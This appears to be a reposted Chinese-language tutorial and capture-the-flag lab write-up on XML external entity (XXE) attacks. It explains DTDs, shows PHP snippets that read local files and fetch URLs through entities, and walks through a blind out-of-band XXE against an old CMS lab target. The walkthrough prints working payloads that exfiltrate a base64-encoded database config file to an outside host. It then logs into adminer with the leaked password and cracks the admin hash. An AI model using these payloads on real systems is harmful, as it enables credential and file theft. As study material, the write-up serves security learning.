XXE漏洞——介绍及利用
什么是xxe
XML外部實(shí)體注入,簡稱XXE漏洞。XML文檔結(jié)構(gòu)包括XML聲明,DTD文檔類型定義,文檔元素。
XML示例
<?xml version="1.0"?>XML聲明
<!DOCTYPE note [
<!ELEMENT note(to,from,heading,body)>
<!ELEMENT to(#PCDATA)>
<!ELEMENT from(#PCDATA)> 文檔定義類型(DTD)
<!ELEMENT heading(#PCDATA)>
<!ELEMENT body(#PCDATA)>
]>
<note>
<to>tove</to>
<from>jani</from>
<heading>reminder</heading>
<body>don't forget me this weekend</body> 文檔元素
</note>
DTD的內(nèi)、外部聲明
內(nèi)部聲明格式
<!DOCTYPE 根元素 [次一級元素聲明]
外部引用格式
<!DOCTYPE 根元素 SYSTEM "url路徑"
PHP示范利用DTD的外部使用操控XML
php代碼
<?php
$test = '<!DOCTYPE xxx1 [<!ENTITY xxx2 SYSTEM "file:///c:/phpstudy_pro/123.txt">]><xxx3>&xxx2;</xxx3>'; //后面的標(biāo)簽名,&實(shí)體聲明一定得有
$obj = simplexml_load_string($test, 'simpleXMLElement', LIBXML_NOENT);
print_r($obj);
?>
結(jié)果:
外部DTD支持的協(xié)議
簡單漏洞利用!
可以讓目標(biāo)服務(wù)通過特定協(xié)議去訪問相關(guān)資源,從而實(shí)現(xiàn)SSRF(服務(wù)器請求偽造)
攻擊。我們還可以進(jìn)行內(nèi)網(wǎng)服務(wù)探測、端口探測等利用
利用http請求baidu
<?php
$test = '<!DOCTYPE xxx1 [<!ENTITY xxx2 SYSTEM "https://baidu.com">]><xxx3>&xxx2;</xxx3>';
$obj = simplexml_load_string($test, 'simpleXMLElement', LIBXML_NOENT);
print_r($obj);
?>
結(jié)果
雖然頁面是很多Wraning警告,但其實(shí)我們已經(jīng)得到了baidu的源碼數(shù)據(jù)
盲注漏洞利用!
XXE中也存在盲注,不會給你顯示東西。
思路
利用其他東西證明其存在
延時(shí)
寫文件
搭建一個(gè)服務(wù)器里邊有個(gè)php(test_blind.php)文件,訪問后搭建的服務(wù)器目錄生成一個(gè)文件
//test_blind.php 文件
<?php
file_put_contents("Yes.txt", $_GET["id"],FILE_APPEND);
?>
將結(jié)果外帶出來
DNS注入
反彈注入
SSRF和XXE最大的功能是能發(fā)起請求,這給了我們很大的空間發(fā)揮
復(fù)現(xiàn)環(huán)境
目標(biāo)
閃靈建站cms
分析
目標(biāo)是老版本閃靈源碼。然后我找不到這個(gè)版本了。
數(shù)據(jù)庫配置目錄文件
conn/conn.php
含有 simplexml_load_string 函數(shù)的漏洞目錄文件
weixin/index.php
思路
訪問含有漏洞的文件,發(fā)現(xiàn)其接受POST傳參作為XML執(zhí)行。但同時(shí)必須傳入一個(gè)參數(shù)(signature)讓它不為空
圖片1
圖片2
解讀php://input
接收所有POST的數(shù)據(jù)
實(shí)踐
首先試探性的隨便傳一些數(shù)據(jù)。
發(fā)現(xiàn)爆出了絕對路徑。這時(shí)候我們可以構(gòu)造XML
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;
]>
% file 定義一個(gè)參數(shù)實(shí)體,SYSTEM表示外部引用。其中%remote是引用外部xml,那是靶場提供的xml,內(nèi)容如下。
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://59.63.200.79:8017/2.php?id=%file;'>"
>
%all;
發(fā)現(xiàn)繼續(xù)報(bào)錯(cuò),但是這并沒關(guān)系。我們已經(jīng)得到了想要的東西。再看靶場提供的3.txt文件,里邊記錄了我們獲得的信息
解密后得到數(shù)據(jù)庫連接密碼,但是
則是內(nèi)網(wǎng)ip,接下來我們找找網(wǎng)站數(shù)據(jù)庫登錄后臺。這里是adminer.php
成功進(jìn)入后臺,查表得管理員密碼
md5解密后記得flag
總結(jié)
以上是生活随笔為你收集整理的XXE漏洞——介绍及利用的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 怎么联系坦克世界账号申述技术人员
- 下一篇: tplink墙面路由器怎么设置入墙式无线